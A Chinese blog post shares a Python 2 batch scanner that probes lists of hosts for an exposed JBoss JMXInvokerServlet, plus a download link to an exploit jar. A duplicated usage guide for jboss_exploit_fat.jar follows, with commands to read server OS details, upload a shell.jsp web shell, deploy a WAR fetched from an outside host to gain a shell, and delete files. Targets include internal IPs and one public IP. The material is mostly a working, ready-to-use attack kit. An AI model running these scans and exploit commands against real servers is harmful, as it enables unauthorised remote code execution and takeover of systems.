【Python】JBOSS-JMX-EJB-InvokerServlet批量检测工具

一、说明

在JBoss服务器上部署web应用程序,有很多不同的方式,诸如:JMX Console、Remote Method Invocation(RMI)、JMXInvokerServlet、HttpAdapter等。根据内网测试的需求,写了一段代码,代码逻辑看注释。

二、代码实现

读取带有IP的文本内容,如果有端口以冒号(:)分隔,那就默认将该端口当成WEB端口。如果只有IP,那么就把端口设定为默认的80。

Python代码:

#!/usr/bin/env python
# coding=utf8
######################################
##  代码补丁的少年   zzzhhh         ##
##  时间:20170925                  ##
## 批量查询Jboss JMXInvokerServlet  ##
######################################
import httplib
import os
import sys
import re



## 读取IP
def JBossScan(weblist):
    fle_context = file(weblist, 'r')
    for file_index in fle_context:
        file_index = file_index.strip('\n')                           # 去掉空行
        file_index = file_index.replace('http://', '')                # 去掉HTTP://
        ip_context = file_index.split(':')                            # 以:分隔
        if len(ip_context)>=2:
            ip = ip_context[-2]                                       # 取列表倒数第二
            pt = ip_context[-1]                                       # 取列表倒数第一
        else:
            ip = ip_context[-1]                                       # 否则取默认IP
            pt = 80                                                   # 默认端口为80
        conn = httplib.HTTPConnection(ip, port=pt, timeout=1)
        try:
            conn.request('HEAD', '/invoker/JMXInvokerServlet')        # 探测这个路径是否存在
        except:
            print '[*]http://%s:%s/invoker/JMXInvokerServlet       ---------------------------Timeout' % (ip, pt)  # 访问不成功就提示超时
            continue
        res = conn.getresponse()
        # HTTP状态码
        if res.status == 200:
            print '[*]http://%s:%s/invoker/JMXInvokerServlet       ---------------------------Found' % (ip, pt)
            os.system(
                'echo http://%s:%s/invoker/JMXInvokerServlet       ---------------------------Found >> scucsess.txt' % (   # 把访问成功的路径存储到.txt
                ip, pt))
        else:
            print '[*]http://%s:%s/invoker/JMXInvokerServlet       ---------------------------Not Found' % (ip, pt)      # 没找到路径,但是开启了相关端口
    fle_context.close()



if __name__ == '__main__':
    try:
        JBossScan(sys.argv[1])                              # 参数形式
        #JBossScan("D:\\ProjectCode\\PyScript\\WebUrl.txt")  # 固定路径
    except:
        print 'usage: python jbosscan.py weblist.txt'

WebUrl.txt的内容:

192.168.1.1
192.168.17.1
http://10.1.128.203:1300
http://10.1.128.208:1300
http://10.1.128.206:1300
http://10.1.128.208:1200
http://10.1.128.206:1200
http://10.1.128.199:1200
http://10.1.128.195:1200
http://10.255.242.20:1199
http://10.255.242.24:1199

三、代码效果

四、代码下载

链接: https://pan.baidu.com/s/1nuHb1rF 密码: g6de

压缩包内容:

JBOSS-JMX-EJB-InvokerServlet批量检测工具.py          --------批量扫描用

WebUrl.txt                                           --------IP存放

01-jBoss应用服务器JMXInvokerServlet远程命令执行漏洞   --------利用工具

- jboss_exploit_fat.jar
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
1. 查看系统名称 java -jar jboss_exploit_fat.jar -i http://123.232.119.98:9009/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName 2. 查看系统版本 java -jar jboss_exploit_fat.jar -i http://192.168.7.84:10081/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSVersion 3.远程创建文件 java -jar jboss_exploit_fat.jar -i http://192.168.7.84:10081/invoker/JMXInvokerServlet invoke jboss.admin:service=DeploymentFileRepository store myname.war index .jsp $content$ true -s java.lang.String;java.lang.String;java.lang.String;java.lang.String;java.lang.Boolean $content$内容是同目录下的shell.jsp文件内容 即:将shell.jsp文件上传到服务器上,最终部署的war访问: http://192.168.7.84:10081/myname/index.jsp 如果有mynameok 表示部署成功 使用client.htm客户端进行连接即可(需要修改ip等信息) 4.远程部署war java -jar jboss_exploit_fat.jar -i http://192.168.7.84:10081/invoker/JMXInvokerServlet invoke jboss.system:service=MainDeployer deploy http://scriptsgenie.com/demo/test.war 获得shell地址: http://192.168.7.84:10081/test/shell.jsp 5.远程删除文件D:\jboss\server\default\deploy\management\myname.war\index.jsp文件 java -jar jboss_exploit_fat.jar -i http://192.168.7.84:10081/invoker/JMXInvokerServlet invoke jboss.admin:service=DeploymentFileRepository remove myname index .jsp 6.支持输入用户名和密码 带验证的情况 java -jar jboss_exploit_fat.jar -u name -p password -i http://192.168.7.84:10081/invoker/JMXInvokerServlet invoke jboss.admin:service=DeploymentFileRepository remove myname index .jsp 7.支持代理模式 java -jar jboss_exploit_fat.jar -P http://127.0.0.1:8080 -i http://192.168.7.84:10081/invoker/JMXInvokerServlet invoke jboss.admin:service=DeploymentFileRepository remove myname index .jsp
某大牛写的jboss-exp 1. 查看系统名称 java -jar jboss_exploit_fat.jar -i http://192.168.7.84:10081/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName 2. 查看系统版本 java -jar jboss_exploit_fat.jar -i http://192.168.7.84:10081/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSVersion 3.远程创建文件 java -jar jboss_exploit_fat.jar -i http://192.168.7.84:10081/invoker/JMXInvokerServlet invoke jboss.admin:service=DeploymentFileRepository store myname.war index .jsp $content$ true -s java.lang.String;java.lang.String;java.lang.String;java.lang.String;java.lang.Boolean $content$内容是同目录下的shell.jsp文件内容 即:将shell.jsp文件上传到服务器上,最终部署的war访问: http://192.168.7.84:10081/myname/index.jsp 如果有mynameok 表示部署成功 使用client.htm客户端进行连接即可(需要修改ip等信息) 4.远程部署war java -jar jboss_exploit_fat.jar -i http://192.168.7.84:10081/invoker/JMXInvokerServlet invoke jboss.system:service=MainDeployer deploy http://scriptsgenie.com/demo/test.war 获得shell地址: http://192.168.7.84:10081/test/shell.jsp 5.远程删除文件D:\jboss\server\default\deploy\management\myname.war\index.jsp文件 java -jar jboss_exploit_fat.jar -i http://192.168.7.84:10081/invoker/JMXInvokerServlet invoke jboss.admin:service=DeploymentFileRepository remove myname index .jsp 6.支持输入用户名和密码 带验证的情况 java -jar jboss_exploit_fat.jar -u name -p password -i http://192.168.7.84:10081/invoker/JMXInvokerServlet invoke jboss.admin:service=DeploymentFileRepository remove myname index .jsp 7.支持代理模式 java -jar jboss_exploit_fat.jar -P http://127.0.0.1:8080 -i http://192.168.7.84:10081/invoker/JMXInvokerServlet invoke jboss.admin:service=DeploymentFileRepository remove myname index .jsp
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值